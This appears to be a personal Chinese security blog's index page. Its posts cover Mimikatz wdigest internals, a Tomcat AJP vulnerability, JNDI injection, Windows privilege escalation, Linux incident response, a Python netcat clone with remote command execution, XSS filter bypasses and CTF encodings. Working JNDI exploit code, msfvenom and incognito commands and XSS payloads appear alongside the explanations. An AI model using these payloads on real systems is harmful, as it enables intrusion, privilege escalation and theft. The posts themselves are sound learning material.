D_infinite的小站

不积跬步,无以至千里。


  • 首页

  • 关于

  • 标签

  • 归档

深入分析Mimikatz之sekurlsa::wdigest

发表于 2021-04-28

0x01 背景知识

wdigest是一套身份认证协议,主要用于windows server 2003,由于wdigest会将用户的密码存储在内存中,因此被诸如mimikatz等工具进行恶意利用。

0x02 获取加密密码

该模块中定义了名为PasswdSet的变量,由代码可知,需要搜索的文件为wdigest.dll

根据字节特征,发现0x483bd974对应l_LogSessionList,这是一个链表,链表末尾所指向的结构体中,存储了username/domain/password,其位置在wdigest.dll的LogSessHandlerPasswdSet函数中。但是里面的password是加密的,因此需要密钥进行解密。

0x03 获取解密密钥

在mimikatz中,解密的逻辑使用了pLsaUnprotectMemory所指向的函数

其实际指向kuhl_m_sekurlsa_nt6_LsaEncryptMemory函数

可以看到,分为AES和DES解密两种情况,而hKey的获取,在kuhl_m_sekurlsa_nt6_acquireKeys中,这里面则依然是根据特征进行内存搜索

此处搜索的文件(加载在内存中)不再是wdigest.dll,而是lsasrv.dll,根据mimikatz给出的特征进行搜索,可以看到对应的代码如下

剩下的事情就比较简单了,根据对应的位置,将key转换成结构体就行

CVE-2020-1938(Tomcat AJP)漏洞分析

发表于 2021-01-19

基础知识

Apache Tomcat服务器通过Connector连接器组件与客户程序建立连接,Connector表示接收请求并返回响应的端点。即Connector组件负责接收客户的请求,以及把Tomcat服务器的响应结果发送给客户。在Apache Tomcat服务器中我们平时用的最多的8080端口,就是所谓的Http Connector,使用Http(HTTP/1.1)协议

在conf/server.xml文件里,他对应的配置为

1
<Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" />

而 AJP Connector,它使用的是 AJP 协议(Apache Jserv Protocol)是定向包协议。因为性能原因,使用二进制格式来传输可读性文本,它能降低 HTTP 请求的处理成本,因此主要在需要集群、反向代理的场景被使用。Ajp协议对应的配置为

1
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

漏洞跟进

Tomcat默认启动会启动8009端口,即AJP协议对应端口,其处理逻辑在AjpProcessor的service函数中
0.png
跟进到其中的prepareRequest函数
1.png
当执行到请求头解析阶段时,会判断attributeCode,假设attributeCode等于10,则进入到下图所示的case当中,当请求头的key不满足前三个选项时,直接讲对应的key/value写入到请求的Attribute中
2.png
紧接着回到AjpProcessor的service函数中,走到getAdapter().service()处,该函数往后的逻辑属于正常请求分发
3.png
4.png
当走到ApplicationFilterChain时,存在以下判断,假设请求不是http请求,则使用默认servlet进行处理
5.png
默认的DefaultServlet用于处理静态资源,其核心逻辑在serveResource函数中
6.png
7.png
跟进getRelativePath函数
8.png
发现从请求的INCLUDE_PATH_INFO和INCLUDE_SERVLET_PATH中获取路径信息并进行拼接并返回,将得到的路径获取对应的resource,最终读取文件
9.png

路径过滤在getResource的过程中,会调用org.apache.tomcat.util.http.RequestUtil.normalize函数进行路径过滤
10.png
不难发现,没有办法使用诸如.和..进行路径穿越,也没办法使用绝对路径,因此只能读取tomcat的ROOT应用目录

深入理解JAVA中的JNDI注入

发表于 2020-05-09

什么是JNDI?

简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。

JNDI支持多种命名和目录提供程序(Naming and Directory Providers),RMI注册表服务提供程序(RMI Registry Service Provider)允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作。将RMI服务绑定到JNDI的一个好处是更加透明、统一和松散耦合,RMI客户端直接通过URL来定位一个远程对象,而且该RMI服务可以和包含人员,组织和网络资源等信息的企业目录链接在一起。

1.png

就个人的理解,JNDI相当于在LDAP RMI等服务外面再套了一层API,方便统一调用。

JNDI的注入点

假设client端地址为10.0.0.1,先来看下面一段,JNDI的client端的代码

1
2
Context context = new InitialContext();
context.lookup(providerURL);

其中providerURL为可控变量,此时,可以传入任意JNDI服务路径来实现注入,如

1
?providerURL=rmi://10.0.0.2:9527/evil

但是问题来了,此时即使执行了evil所绑定的类,依然是在10.0.0.2上执行,无法影响到10.0.0.1,因此要引入一个新的概念

JNDI References

在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

通过查阅References的源码,可以得知,其主要记录了如下信息

1
2
3
4
protected String className;
protected Vector<RefAddr> addrs = null;
protected String classFactory = null;
protected String classFactoryLocation = null;

其中classFactoryLocation实际上是LDAP或者RMI的地址

真正的JNDI注入

假设server地址为10.0.0.2,构造如下恶意RMI服务代码

1
2
3
4
5
Registry registry = LocateRegistry.createRegistry(9527);
Reference exec = new Reference("Exec", "Exec", "http://127.0.0.1:8080/");
ReferenceWrapper refWrap = new ReferenceWrapper(exec);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:9527/exec");
registry.bind("exec", refWrap);

上述代码非常简单,主要是将/exec这个路径绑定到一个Reference上,而这个Reference指向127.0.0.1:8080/Exec.class,其中Reference的构造函数第一个参数是className,第二个参数是classFactory

紧接着让我们构造Exec这个恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
public class Exec {
public Exec() throws Exception{
String cmd = "whoami";
Process p = Runtime.getRuntime().exec(cmd);
InputStream is = p.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = is.read(b)) != -1){
baos.write(b, 0, a);
}
System.out.println(new String(baos.toByteArray()));
p.waitFor();
}
}

将其编译为Exec.class文件,然后拷贝到web目录下

1
javac Exec.java

1
cp Exec.class /var/www/html/

假设client地址为10.0.0.1,构造如下漏洞代码

1
2
3
4
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Context context = new InitialContext();
context.lookup("rmi://127.0.0.1/exec");

即可成功执行whoami命令
2.png
其中前两行代码主要用于解除安全限制

在RMI服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true。

JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false。

深入源码探索

前面提到了,实际原因是触发了object factory,下面我们来看一下具体的触发调用链
3.png
核心代码触发代码从decodeObject开始

1
2
var1为传入的remote接口对象
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;

在decodeObject中,会判断传入对象是满足RemoteReference接口,满足则通过getReference函数获取reference对象,然后进入getObjectInstance函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f); //触发点1
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment); //触发点2
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

在getObjectInstance函数中,一共有两处可执行RMI中定义的恶意代码的地方,一处是getObjectFactoryFromReference,在getObjectFactoryFromReference中会通过获取到对应的Class对象,通过clas.newInstance()触发恶意构造函数

1
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;

另外一处,则是通过实例化的类,调用其getObjectInstance函数,只要我们实现了ObjectFactory接口,复写getObjectInstance函数,即可执行恶意代码

1
2
3
4
5
6
7
8
9
public class Exec implements ObjectFactory {
public Exec(){
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println("factory.getObjectInstance hook!");
return null;
}
}

JdbcRowSetImpl的JNDI注入利用链

在实战过程中,context.lookup直接被外部调用的情况比较少,但是我们可以通过间接调用context.lookup实现JNDI的注入,JdbcRowSetImpl就是这样一条利用链,先来看一下最终的POC

1
2
3
4
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
JdbcRowSetImpl j = new JdbcRowSetImpl();
j.setDataSourceName("rmi://127.0.0.1:9527/exec");
j.setAutoCommit(true);

调用链如下
4.png
可以看到,唯一的不同在于lookup前调用了setAutoCommit以及connect方法

坑

1.在POC复现的过程中,由于编译Exec使用了1.8,运行Server以及Client使用了1.7,导致无法运行。由于JAVA版本向下兼容,因此实际利用过程中,建议使用1.6编译Exec.class,笔者偷懒,均采用了1.8

2.Exec的声明不能带package,否则无法触发,具体原因仍未查明。

Windows下常见提权方式

发表于 2020-03-16

服务路径

漏洞复现
1.搜索存在问题路径

1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

2.当存在空格时,会产生如下调用

1
2
C:\Vuln Service\execute.exe
C:\Vuln.exe

原理为windows无法识别空格的含义,因此会进行程序搜索

3.编写恶意程序Vuln.exe,放入C:\下

1
sc start "Vuln Service"

即可触发,但存在以下问题,自行添加的服务无法启动
实际利用过程中会有诸多限制,如目录的权限,服务无法自启动等,较为鸡肋

令牌提权

渗透技巧-Token窃取与利用

首先关于令牌的概述如下

  • Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录
  • Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹)

通过incognito这个工具,可以实现token的列举以及盗窃

1
incognito.exe list_tokens -u

1
incognito.exe execute -c "hacker/administrator" cmd.exe

在实际利用的过程中,会通过窃取令牌创建进程,以下为incognito的具体调用

1
create_process(token_list[i].token, command, console_mode, SecurityDelegation);

DLL劫持

DLL劫持科普

DLL劫持漏洞自动化识别工具Rattler测试

DLL劫持的核心原理在于DLL路径搜索,调用LoadLibary会从以下目录搜索DLL文件

1
2
3
4
5
6
1.程序所在目录。
2.加载 DLL 时所在的当前目录。
3.系统目录即 SYSTEM32 目录。
4.16位系统目录即 SYSTEM 目录。
5.Windows目录。
6.PATH环境变量中列出的目录

比如a.exe加载了系统的kernel32.dll,如果在a.exe同级目录下生成恶意的kernel32.dll即可造成恶意利用,然而由于kernel32.dll在注册表KnownDlls中,无法利用

微软为了更进一步的防御系统的DLL被劫持,将一些容易被劫持的系统DLL写进了一个注册表项中,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用

AlwaysInstallElevated

AlwaysInstallElevated是注册表配置

1
2
3
4
5
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001

设置或开启该注册表后,允许普通用户以system权限安装msi,通过msf生成恶意msi

1
2
msfvenom -p windows/adduser USER=superadmin PASS=supersuper -f msi -o supper.msi

通过在普通用户下执行该msi,可生成Administrator权限用户

1
2
msiexec /quiet /qn /i super.msi

在实际利用过程中,该注册表项默认为0或不存在,因此较为鸡肋

BypassUAC

UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理密码。也就是说一旦用户允许启动的应用程序通过UAC验证,那么这个程序也就有了管理员权限。如果我们通过某种方式劫持了通过用户UAC验证的程序,那么相应的我们的程序也就实现了提权的过程。

首先安装对应版本的ProcessMonitor
运行ProcessMonitor,打开某需要UAC认证的程序,通过filter过滤出进程的DLL文件访问情况

1
2
Process Name is install.exe
1
2
Path contains localdir
1
Result is NAME NOT FOUND

以上三个filter,可以发现程序中尝试在本地加载但是本地不存在的dll,通过在同级目录生成对应的dll文件,即可劫持。

Linux应急响应排查

发表于 2020-01-30

对于一般的Linux机器被入侵,第一要务是止损,止损的步骤如下。

  • 如果业务允许,最好先关停除ssh外的对外开放服务,因为往往拿到机器权限后没有办法第一时间锁定入侵源
  • 对入侵者的权限维持(反弹shell/后门…)进行查杀等操作(关键操作及时取证)

准备工作

  • 防止命令被替换,最好使用busybox进行排查,下载地址
    1
    2
    chmod +x busybox
    ./busybox COMMAND

进程

1) 通过pstree查看正常父进程下的异常子进程

1
2
3
4
5
pstree -aup
./busybox pstree -p
$
systemd─├─php-fpm───5*[php-fpm]
├─php-fpm───50*[php-fpm]

如果使用ps去查询进程,没有办法清晰的查看父子进程的关系,容易有遗漏,以下是在该机器上反弹shell后pstree得到的结果。

1
2
3
4
5
6
$
├─php-fpm,17883
├─php-fpm,17911,www
│ │ └─sh,11498 -c /bin/sh -c "cd "/data/wwwroot/default/dvwa";ping -c20 www.baidu.com;echo [S];pwd;echo [E]" 2>&1
│ │ └─sh,11499 -c cd /data/wwwroot/default/dvwa;ping -c20 www.baidu.com;echo [S];pwd;echo [E]
│ │ └─ping,11500 -c20 www.baidu.com

很清楚的看到php-fpm底下起了sh进程

2) 查看进程启动时间

使用ps命令列出进程时,可能由于进程较多,优先排查入侵时间附近的进程

1
2
3
4
5
ps -aux
$
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 191000 3932 ? Ss 8月06 16:41 /usr/lib/systemd/systemd --switched-root --system --deserialize 21
root 2 0.0 0.0 0 0 ? S 8月06 0:00 [kthreadd]

3) 使用unhide查看隐藏进程

为了尽可能的维持权限,入侵者可能会将相关后门进程隐藏,隐藏的方式有以下几种

  • 替换top ps 等系统命令
  • 劫持文件ld.so.preload
  • 劫持libc库
  • 使用mount将其他目录挂载到/proc/pid下
  • 修改内核(rootkit)

其中前三种可以使用unhide工具进行查杀,原因为前三种方式无法修改/proc下的文件信息,因此使用unhide调用系统函数读取proc再将读取的信息与ps做对比,即可发现隐藏进程。

针对挂载的隐藏方式,使用命令mount -l查看是否有到/proc下的挂载,有的话使用umount /proc/pid取消挂载,查看对应进程是否恶意

针对修改内核的隐藏方式,使用命令lsmod查看是否有加载异常模块, 但rootkit可删除struct module中的lsmod相关信息,从而躲避检测,具体可参考Rootkit技术(二)隐藏LKM

网络

1) 使用netstat命令检查已建立连接

1
2
3
4
5
netstat -antlp | grep EST
$
tcp 0 0 10.207.224.2:22 172.28.2.1:32971 ESTABLISHED 671/sshd: admin
tcp 0 0 10.207.224.2:19288 10.207.224.3:5555 ESTABLISHED 1896/bash
tcp 0 0 127.0.0.1:42008 127.0.0.1:1234 TIME_WAIT -

上述命令可监控如下场景

  • 反弹shell(进程名为bash/sh/python/php/java/perl等等)
  • 非正常ssh登录(企业中往往使用堡垒机登录机器,而黑客则会使用获得权限的机器进行横向渗透,因此非堡垒机的ssh连接均为异常连接)
  • 即使服务监听地址是127.0.0.1,也有可能通过端口反弹等形式反弹到外网,因此需要结合进程做判断

SSH

1) 查看SSH登录日志

1
cat /var/log/secure

登录失败的情况也需要关注,登录失败的ip可用于关联分析其他恶意行为,以及登录失败的日志也可能被用作后门,具体可参考 记一次安全应急响应中遇到的利用SSH日志触发的后门分析

2) 查看known_hosts

1
cat ~/.ssh/known_hosts

known_hosts文件会记录通过ssh,scp访问的计算机的ip以及公钥

3) pam相关

1
2
cat /etc/pam.d/sshd
ll /lib64/security/pam_unix.so

查看sshd的pam配置文件以及认证文件是否存在异常,具体可参考文章Linux PAM&&PAM后门

目录

  • 应用目录
    • Nginx: 查找nginx.conf配置文件,定位应用目录。检索目录下是否有异常文件(webshell)以及检索相应log日志是否有攻击或入侵痕迹
    • Apache: 查找apache2.conf或apache.conf等配置文件,定位应用目录。检索目录下是否有异常文件(webshell)以及检索相应log日志是否有攻击或入侵痕迹
    • webshell检测工具可使用长亭牧云
  • /tmp
  • /var/tmp
  • /dev/shm

history

  • 用户目录下的history(通过/etc/passwd定位用户目录,查询每个目录下的.bash_history文件)

启动项

  • inittab
    • inittab的启动脚本主要在/etc/rc.d下,配置文件则在/etc/inittab或/etc/init/*.conf
  • systemd
    • systemd的启动脚本在/lib/systemd/system下,具体格式可参考systemctl使用方法

2017年总结

发表于 2017-10-14 | 分类于 杂谈

秋招终于是告一段落了,想想自己这半年来的历程,不经有些感慨。

从今年三月份的时候,我开始接触安全,相比很多大一开始接触的同学,我真的可以说是非常非常晚了。所以也一再犹豫,到底该不该转做安全(因为我一开始就打算找工作了,之前学的是前端)。后来还是一横心开始学了。

现在想想,自己会学安全的理由真的很简单,就是觉得ctf特别有趣,进而觉得安全特别有趣。

在四五月份的时候,考虑到就业问题,如果没有实习经历会特别吃亏,所以打算找一份实习好好干干,可以说是特别幸运了,在四月中旬就有一家乙方要了我,岗位是渗透测试实习生。

当然,去到之后才发现,做的其实很杂,售前也做,售后也做,包括有时候还要自己把服务器带到客户那边部署安装。虽然总的来说,这份工作不是我想象中的工作,但依然收获了很多,所以在这里特别感谢当时的同事以及上级,你们真的很可爱哈哈哈。

七月份我就离职了,因为考虑到准备秋招的缘故。所以自己心里还是很愧疚的,但是权衡了一下,还是找工作重要,所以就硬着头皮跟上司讲了。这里再一次感谢boss,很爽快的就答应了。

直到九月份,都在学习学习学习。基础不牢,怕地动山摇,所以疯狂吸收养分。从九月开始正式秋招。

中间经历了许多的笔试和面试,终于在今天尘埃落定了,也算找到一个好的归宿。

通过这次的秋招,我也对未来自己的方向有了更多的认识,需要学习的还很多,以后可有的忙了。

面经我就不bilibili了,有时间再总结哈哈哈。对了对了,顺带一提,我打算做一个信息安全面试题的汇总,就放在我的gayhubhub上面,各位有空多关注呀。

就是那么多了,又要准备迎接新一段的挑战,希望自己继续跨越下一个山峰!

python编写简单netcat

发表于 2017-07-03 | 分类于 python

之前ke推送的netcat的用法相信大家已经熟悉了,今天我来分享一下如何使用python去编写一个简单的netcat。当然了,实际使用的话,因为要依赖python环境,所以不免有点鸡肋,因此这篇文章更侧重于分享简单的python安全工具的写法。

以下为要用到的python库。

  • socket
  • subprocess
  • argparse

    同样的,本篇文章不对这些库做过多介绍,有兴趣的自行阅读官方文档。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    import socket
    import argparse
    import subprocess
    import traceback
    class netcat:
    def __init__(self):
    self.parser = argparse.ArgumentParser()
    self._init_args_parser()
    self.args = self.parser.parse_args()
    self.client_socket = None
    self.server_socket = None
    if self.args.l:
    self.listen_mode()
    elif self.args.c:
    self.client_mode()

构造一个netcat类,一些常用变量直接设置为类变量方便访问。netcat的主程序即为init(),包括初始化以及后续执行阶段。client_socket为服务器被连接是的socket,server_socket则为客户端连接时获得的socket。argparse.ArgumentParser()返回一个操作命令行参数的对象,调用parse_args()获得参数。

1
2
3
4
5
6
7
8
def _init_args_parser(self):
self.parser.add_argument('-l', help='listen mode', required=False, action='store_true')
self.parser.add_argument('-e', help='execute command', required=False, action='store_true')
self.parser.add_argument('-a', help='address', required=False, default='127.0.0.1')
self.parser.add_argument('-p', type=int, help='port', required=False)
self.parser.add_argument('-u', help='upload file', required=False)
self.parser.add_argument('-c', help='client mode', required=False, action='store_true')
self.parser.add_argument('-f', help='select file upload', required=False)

这是具体的参数设置,-l表示参数前缀,help指定帮助display字段,required表示字段是否必须, action='store_true'表示只要有前缀就返回True。其他字段以此类推。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def listen_mode(self):
address = self.args.a
port = self.args.p
if not port or not address:
print('not port or address')
else:
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((address, port))
server_socket.listen(1)
while True:
client_socket, addr = server_socket.accept()
self.client_socket = client_socket
self.server_handler()

监听模式,首先从命令行参数当中获取地址和端口,然后通过socket进行绑定。绑定后调用accept建立连接。然后将client_socket赋予到类变量当中。后续动作则交由server_handler()处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def server_handler(self):
if self.client_socket:
if self.args.e:
while True:
cmd_buffer = self.get_client_input_buffer()
response = self.run_command(cmd_buffer)
self.client_socket.send(response)
elif self.args.u:
while True:
try:
file_buffer = self.get_client_input_buffer()
file_buffer = file_buffer.decode('utf-8')
dest = self.args.u
with open(dest, 'a') as f:
f.write(file_buffer)
f.close()
except Exception as err:
err_message = traceback.format_exc()
err_message.encode('utf-8')
self.client_socket.send(err_message)

如果存在e参数,则为执行命令模式。从客户端接收命令,然后调用run_command()处理。如果存在u参数,则为文件上传模式,从客户端接收文件,定义文件路径(包括文件名),然后写入。

1
2
3
4
5
6
7
def run_command(self, command):
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
return output
except Exception as err:
error_message = traceback.format_exc()
return error_message.encode('utf-8')

这里执行命令,调用了subprocess模块的check_output方法,第一个参数为执行的命令。

1
2
3
4
5
6
7
8
9
10
11
def client_mode(self):
address = self.args.a
port = self.args.p
try:
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.connect((address, port))
except Exception as err:
print(err)
return 0
self.server_socket = server_socket
self.client_handler()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def client_handler(self):
if self.args.f:
file_name = self.args.f
file_buffer = ''
with open(file_name, 'r') as f:
for line in f:
file_buffer += line
file_buffer.encode('utf-8')
f.close()
self.server_socket.send(file_buffer.encode('utf-8'))
elif self.args.e:
while True:
cmd = input()
self.server_socket.send(cmd.encode('utf-8'))
data = self.server_socket.recv(1024)
print(data.decode('utf-8'))

客户端的实现也是类似,理解应该不是问题。

1
test = netcat()

当然,当然,最后,还得调用一下。
至此,一个相当的简陋的netcat算是完工了,我们跑起来测试一下。
测试截图

提醒一下,py3当中socket不管收发都是用的bytes而非str,所以编写的时候要注意了。
代码还有很多问题,并且功能非常简陋,这个只是作为demo展示。如果你有更好的想法,欢迎在我的github上留言。(别太care头像..)
最后,这段代码的思路参考了《python黑帽子:黑客与渗透测试编程之道》,目前中文版好像没有电子版,大家有兴趣可以买来阅读,当然,英语好的直接阅读原版就好。

python中socket模块的使用

发表于 2017-06-25 | 分类于 python

0x01 原理

在python安全编程的世界当中,socket是和requests并驾齐驱,必须要掌握的一个模块。因为应用层上除了WEB的行为,你基本上都要使用socket去完成。

那么什么是socket呢?简单来说,就是区分同一服务器上不同应用程序的标识。其目的是为了完成从A主机上X进程到B主机上Y进程的通信。因此socket是工作在应用层和传输层之间的。如果你对什么是socket,什么是TCP,UDP不了解,建议阅读这篇文章,如果你从来没学过计算机网络,则请阅读这篇文章。

注意,socket和socket模块是不一样的,这篇文章主要介绍socket模块的使用。

0x02 使用

先让我们来看一个小小的Demo

1
2
3
4
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

首先socket.socket是一个类,我们将其实例化之后传递给s,而实例化的参数如下:

1
socket.socket(family=AF_INET, type=SOCK_STREAM, proto=0, fileno=None)

family用于指定套接族,type用于指定套接类型,proto用于指定协议。

family 含义
AF_UNIX unix系统本地通信
AF_INET ipv4通信
AF_INET6 ipv6通信
type 含义
SOCK_STREAM 基于TCP的流式socket通信
SOCK_DGRAM 基于UDP的数据包式通信
SOCK_RAW 原始套接字

以上只是一部分,更多细节请参考官方手册。
完成初始化之后,就可以调用socket类的方法了。

1
s.connect(('127.0.0.1', 12345))

在上面的demo当中,调用了connect方法。该方法传入一个address参数,该参数为元组形式,包括地址以及端口。意思就是建立连接,只有建立连接之后才能有后续动作。
(注:python3.5之后该方法超时不再引发InterruptedError)

1
2
3
4
5
6
while True:
text = input('please input...')
print()
s.send(text.encode('ascii'))
data = s.recv(1024)
print(data.decode('ascii'))

recv方法传入一个bufsize参数,指定接收内容的大小。执行成功返回bytes对象。
send则是相反,发送一个bytes对象到对应客户端。因此,发送或接收时注意不要发送str对象,而应发送bytes对象。
(注:在python2中则为发送接收str对象)

接下来开始服务器端的编写

1
2
3
4
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('127.0.0.1', 12345))

这里调用了bind方法。作用在于绑定主机地址和端口号,建立一个服务端的socket进程。
(注:这里如果写localhost或是127.0.0.1只能本机访问,如果需要让别的主机访问,可以使用socket.gethostname()。)

1
2
3
4
5
6
7
while True:
conn, addr = s.accept()
print('connected by ',addr)
while True:
data = conn.recv(1024)
print(data.decode('ascii'))
conn.send(b'server received you message')

accept的方法是接受客户端发起的connect请求,该方法返回一个元组,包含一个新的socket对象以及地址对。在后续阶段,将使用这个新的socket对象与客户端进行交互。

1
s.close()

最后,在使用完成之后,记得关闭套接字。
至此,一个基本的通过socket通信的程序已经基本完成。

0x03 补充

如果你还对socket的实际应用不太了解,建议多阅读exploit-db上面的一些EXP,相当多都用到了socket。
如前阵子的永恒之蓝,又如14年臭名昭著的心脏滴血。

当然socket的用途绝不仅限于编写EXP,但是通过阅读EXP,理解socket的本质,做到举一反三,对你非常有帮助。

如果你对socket的一些细节用法不太了解,请手动查阅官方文档。

0x04 参考

python-socket详细介绍

socket官方文档(3.5)

基于python2的官方tutorial

XSS不完全指南

发表于 2017-05-27 | 分类于 XSS

XSS不完全指南(绕过篇)

笔者在刚接触XSS的时候觉得XSS很简单,不就是注入alert(1)嘛。直到最近从新开始研究XSS,才发现,XSS套路太深。因此希望通过文字总结经验,让自己有所收获。

1.ES6

ES6中更新了许多新特性,看图:
ES6新特性
根据这些特性,首先想到的是,注入JS代码可以不用',",直接使用

1
alert(`abc`)

再看图最下方的特性,允许前面调用标签,即函数。而传入的值则为模板字符串。那么注入代码简写为:

1
alert`abc`

同时,ES6中允许使用码点表示UNICODE字符。例:\u0001
那么,注入代码将如下:

1
\u0061\u006c\u0065\u0072\u0074`A`

2.HTML(5)实体编码

HTML5实体编码
比较常用的是< > = '
代码构造如下:

1
&lt;script&gt;alert`1`&lt;/script&gt;

在HTML5中,新增了一些新的实体编码名称。如:&colon; &NewLine;
则可构造:

1
<a href=javascript&colon;alert`abc` />
1
<a href=javas&NewLine;criptalert`abc` />

3.URL编码

URL编码
这个就是老生常谈了。随便举个栗子:

1
%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E//<script>alert(1)</script>

但是现在这种漏洞不容易触发,原因是因为许多网站后端都对双引号有解码过滤机制。

4.JS进制转换

JS中会自动对以\开头的部分格式字符进行转换。如\xnn(十六进制),\nnn(八进制),因此可构造如下:

1
2
document.write("\74\163\143\162\151\160\164\76\141\154\145\162\164\50\61\51\74\57\163\143\162\151\160\164\76");
//<script>alert(1)</script>

5.利用data协议

关于HTML中的data协议,可以点击这里

总的来讲,data协议就是用文本流的方式,在HTML页面中插入文件。这里的文件形态即为MIME-TYPE。
使用方式如下:

1
data:[<mime type>][;charset=<charset>][;base64],<encoded data>

可以看到,当中可指定base64选项,即采用base64进行解码。注入代码可构造为:

1
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">click</a>

6.空格的替代

在HTML中可以使用/代替空格,这也是老套路了。

1
<a/href=javascript:alert(1)>xss</a>

当然,除了/之外,还有%0A(换行符),%0C(换页符),%0D(回车符)。有兴趣自己尝试。

而在JS当中,则可以通过/**/空注释来代替空格

1
<a/href=javascript:function/**/ok(){alert(1)}/**/ok();>xss</a>

7.运算符的利用

1
document.write("xxxx {input} xxxx")

input构造:

1
'-alert(1)-'

最终变成:

1
document.write("xxxx"-alert(1)-"xxxx");

而在JS当中,运算中的子单元,如果是JS代码,会自动执行。因此成功弹窗。

CTF中常用编码

发表于 2017-04-26 | 分类于 MISC

在ctf中crypto题中,需要用到大量的各种编码解码,而且基本上需要使用python编写,因此,希望记录下来,方便日后查看。

ASCII

1
2
ord(asciiChar)//得到对应ascii值
chr(asciiNum)//得到对应ascii码

BASE64/32/16

可以将8位字节转化为6位,5位,4位。常用的为64位编码。模块为base64

1
2
3
4
import base64
code=b"abc"
code2b64=base64.b64encode(code)//b'YWJj'
b642code=base64.b64decode(code2b64)//b'abc'

/x??

十六进制编码,对应的其实是ascii码,写成这样是为了避免不必要的截断。在python当中使用正则表达式匹配,转化为十进制值,在使用chr即可。

XXencode/UUencode

这两个编码原理都是一样的,以三个字节作为分组,共24bit,24bit分为四组,每组6bit,对应0~63中某个值。两者的区别在于这64个值的对应表不一样。UUencode对应关系为+32的ascii码,XXencode自行谷歌。

URL编码

url编码又叫百分号编码,是统一资源定位(URL)编码方式。URL地址(常说网址)规定了常用地数字,字母可以直接使用,另外一批作为特殊用户字符也可以直接用(/,:@等),剩下的其它所有字符必须通过%xx编码处理。原理其实就是ascii对应的hex前面加上%。

1
2
3
4
import urllib.parse
code=',)$DD'
code2url=urllib.parse.quote(code)
url2code=urllib.parse.unquote(code2url)

至于中文的url编码问题,不具体展开,有兴趣请移步这里

Unicode编码

python当中所有原始字符串都是由unicode字符组成的,我们看到的比如utf-8,其实都是这些unicode字符encode而来的。在python当中,unicode字符的格式为\u????。因此,当遇到一些非python的unicode字符格式时,可以通过正则提取然后在加以转换。
由于这在python当中处理有一定困难,可用在线工具替代。

HTML编码

HTML对某些特殊符号会进行编码。

1
2
import html.parser
h2t=html.parser.unescape("&quot;")//"

12

D_infinite

20 日志
6 分类
2 标签
© 2021 D_infinite
由 Hexo 强力驱动
|
主题 — NexT.Muse v5.1.4